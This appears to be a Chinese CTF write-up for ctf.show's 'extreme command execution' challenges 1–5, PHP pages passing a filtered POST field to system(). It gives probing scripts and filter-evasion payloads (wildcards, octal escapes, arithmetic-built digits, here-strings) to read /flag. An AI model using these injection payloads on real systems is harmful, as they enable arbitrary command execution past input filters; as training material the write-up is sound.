关于getFlag()函数的命令执行 文章

官方wp 文章

极限命令执行1

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
1
这里首先跑一下正则,因为一些不知名原因,直接显示不出来,所有进行url加密以后去解密了。

这里跑正则的意思是因为可以直接看哪些符号可以进行利用。

代码

1
2
3
4
5
6
7
<?php

for ($a = 0; $a < 256; $a++) {
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($a))){
echo urlencode(chr($a))." ";
}
}

​ 以后遇到这种题就可以先去跑一下正则,看哪些可以进行利用

image-20230220104940596

输出的urlencode编码的结果,然后进行解码查看

image-20230220105114058

只有这些可以进行利用

这里题目提示的环境是centos7,那么在这个环境下是可以利用/进行命令执行的。

image-20230220105456573

/getflag是一个php的继承类方法,可以直接使用,会返回1

payload

1
2
3
全称是  /bin/base64 flag.php  这里提示的是根目录,所以是/bin/base64 /flag
payload1:ctf_show=/?????a?
payload2:ctf_show=/???/?a??64 /??a?

这里考的是无字母进行rce,那么可以ctfshow的命令执行模块找到

极限命令执行2

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

这里包含了个check.php,这里是先执行check()方法,在执行system()方法,那么我们可能会在check处进行类似die()方法一样进行终止,所以我们得想办法绕过。

image-20230220110524677

测试的时候发现输入被过滤的内容时,会返回??????,所以我们可以写个python脚本来跑一下,看过滤了那些内容,还有看一下哪些内容可以进行利用。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"

str= ""
for i in range(255):
data = {'ctf_show':chr(i)}
retext = requests.post(url,data=data).text
if "??????" in retext:
print(1)
else:
str += chr(i)

print(str)

等1跑完的时候,就可以看到结果了。

image-20230220110934152

只有这些可以进行利用,很明显,?被过滤了。

禁用了问号,不能使用通配符的方式了,但是可以通过$'\xxx'的方式执行命令,其中xxx是ascii字母的8进制值,比如ls 可以通过$'\154\163' 的方式进行执行。

image-20230220111453793

值得注意的是,这种方案并不能解析带有参数的命令,所以本题提供了/getflag来方便大家执行。

这种题其实也可以使用16进制进行利用,但是这里把字母给过滤了,所以16进制就不能用了 —-> /x53 (16进制)

payload

1
ctf_show=$'\57\147\145\164\146\154\141\147'

这里时getflag是题目给的,所以就可以构造/getflag

极限命令执行3

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

还是先跑下python脚本,看哪些被过滤了。

image-20230220113626987

数字只剩下01可以进行利用了,那么我们就得想别的方法了,这里先想到的是构造数字,web57讲了一下

image-20230220113814158

可以利用这个姿势进行构造。这里的话~是取反符号

这里补充一下一个知识点 Shell 双引号和单引号的区别

这里利用$~()来构造所需要的数字

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

b = a.split(' ')
str = ""
for i in b:
if i != "\\":
str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
else:
str += "\\\\"


print("$\\'"+str+"\\'")

以后如果想要修改啥的话,直接修改a里面的值就行了。

那么就可以拿到构造好的数字了

1
$\'\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

这里多出\符号是进行转义使用的。

image-20230220163149310

成功输出想要的东西

/getflag的八进制模式

但是这里的话是没有进行命令执行,只是进行输出而已。

这里引入bash的一个语法<<<三个小于号(here-strings),语法:command [args] <<<[“]$word[“];$word会展开并作为command的stdin。

1
2
3
4
command <<< string
command 是 Shell 命令,string 是字符串。将字符串通过标准输入,传递给命令
这里因为字母被过滤了,bash就用不了了,那么我们就可以使用别的方法进行替代
$0就是bash的另一个写法

image-20230220163600991

那么我们就可以尝试去使用here-strings的方法进行命令执行了

image-20230220163915706

输出了1,但是本题用不了,因为题目没有提示在/getflag下。

所以我们就只能进行cat /flag

这里的话,$’ xxx ‘执行时不能使用带参的方法的,那么我们要解决这个问题的话就得使用两次here-strings的方法

1
(这里是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析)

修改后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

b = a.split(' ')
str = ""
for i in b:
if i != "\\":
str += "$((~$((" + "$((~$(())))" * (int(i) + 1) + "))))"
else:
str += "\\\\"

print("$\\'" + str + "\\'")

只需要把a进行修改就行了

payload

1
ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

这里的话特殊点就是在使用第二次here-strings的方法的时候,得进行转义处理

官方wp

https://ctf-show.feishu.cn/docx/EH72dMi3hoBtLJxDydjcIVcQnSc

这个使用的是

禁用了除了01以外的数字,这里需要理解bash对于整数的表示形式是[base#]n的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100

所以在现有条件下,我们只要通过位运算$((1<<1))构造出2,就可以通过这种形式来构造任意数字了,比方说ls就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011))

官方payload

1
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

极限命令执行4

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

image-20230220165224512

遇到过滤的会输出??????,那么我们就可以使用一下脚本跑一下哪些东西可以进行利用

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

# 这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"

str = ""
for i in range(255):
data = {'ctf_show': chr(i)}
retext = requests.post(url, data=data).text
if "??????" in retext:
print(1)
else:
str += chr(i)

print(str)

image-20230220165407967

这里的话比上一题少了个零,但是用上一题的解法的话,可以直接通杀。

payload

1
ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

官方wp

就是想办法来构造1

image-20230220165528116

#是计算字符串长度,两个#中,第一个#是计算字符串长度 第二个#是字符串的名字。$#的值是0,字符串长度为1,所以$是1

1
这里\$${#},虽然输出是$0,但是并不按$0来解析

还是构造 cat /flag

1
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

就是把1替换成$就行了

极限命令执行5

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

还是先跑一下py脚本,看哪些参数可以进行利用

image-20230220172921706

01都得了,这里的话我们可以通过~$()来构造数字,但是0,没了我们就得想八法来构造$0来构造bash了。

1、是${!xxx}的用法,举一个很简单的例子:

image-20230220173724959

所以其实在这里,只要想办法构造一个变量,变量值是0,就可以很容易的拿到$0

其实在出题过程中,使用命令行进行测试,可以通过${!?}${!#}的形式拿到bash

但是很可惜,在php的system环境下没有实现,不然可以做到更极限

image-20230220173758701

所以仅能通过定义一个__=$(())的方式将__变量的值设置为0,然后通过${!__}的形式拿到sh字符。两条命令间通过&&进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。

1
$0和${0}输出的是一个意思

image-20230220174141641

image-20230220173839677

1
这里不用$_的意思是因为$_有自己的意思,就是记录上一次的值

2、是~操作,#被禁用,~是按位取反操作,我们可以通过$(())取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7。(这个操作是web入门57的姿势,有兴趣大家可以去做一下)

img

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

b = a.split(' ')
str = ""
for i in b:
if i != "\\":
str += "$((~$((" + "$((~$(())))" * (int(i) + 1) + "))))"
else:
str += "\\\\"

print("$\\'" + str + "\\'")

最终payload

1
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

这里有一个新知识,可以通杀

image-20230220174830458

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#$_有自己的意思,就是记录上一次的值,所以加一的话就会输出a下一位的b
$_=('@'^'!'); //a
$__=$_++; //b
$___=++$__; //c
$____=++$___; //d
$_____=++$____; //e
$______=++$_____; //f
$_______=++$______; //g
$________=++$_______; //h
$_________=++$________; //i
$__________=++$_________; //j
$___________=++$__________; //k
$____________=++$___________; //l
$_____________=++$____________; //m
$______________=++$_____________; //n
$_______________=++$______________; //o
$________________=++$_______________; //p
$_________________=++$________________; //q
$__________________=++$_________________; //r
$___________________=++$__________________; //s
$____________________=++$___________________; //t
$_____________________=++$____________________; //u
$______________________=++$_____________________; //v
$_______________________=++$______________________; //w
$________________________=++$_______________________; //x
$_________________________=++$________________________; //y
$__________________________=++$_________________________; //z